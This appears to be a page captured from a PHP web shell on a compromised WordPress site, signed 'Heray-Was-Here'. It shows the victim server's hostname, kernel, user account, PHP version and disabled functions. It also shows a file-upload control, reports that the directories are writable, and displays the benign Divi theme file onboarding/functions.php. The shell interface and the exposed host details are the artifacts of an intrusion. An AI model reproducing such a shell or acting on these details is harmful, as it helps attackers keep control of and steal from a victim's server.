Heray-Was-Here
Server : Apache/2
System : Linux v2.lx.to 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : namagri ( 1019)
PHP Version : 8.2.31
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/namagri/domains/namagri.com/private_html/wp-content/themes/Divi/onboarding/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/namagri/domains/namagri.com/private_html/wp-content/themes/Divi/onboarding/functions.php
<?php
/**
 * Onboarding functions.php file.
 *
 * @package Divi
 * @subpackage onboarding
 *
 * @since ??
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Trigger redirect to onboarding page after theme activation.
 *
 * @return void
 */
function et_onboarding_trigger_redirect() {
	if ( ! class_exists( 'ET_Onboarding' ) ) {
		// ET_BUILDER_PLUGIN_DIR is defined in DBP.
		$path = defined( 'ET_BUILDER_PLUGIN_ACTIVE' ) ? ET_BUILDER_PLUGIN_DIR : get_template_directory();
		require_once $path . '/onboarding/onboarding.php';
	}

	ET_Onboarding::redirect_to_onboarding_page();
}

add_action(
	'after_switch_theme',
	'et_onboarding_trigger_redirect'
);

Hry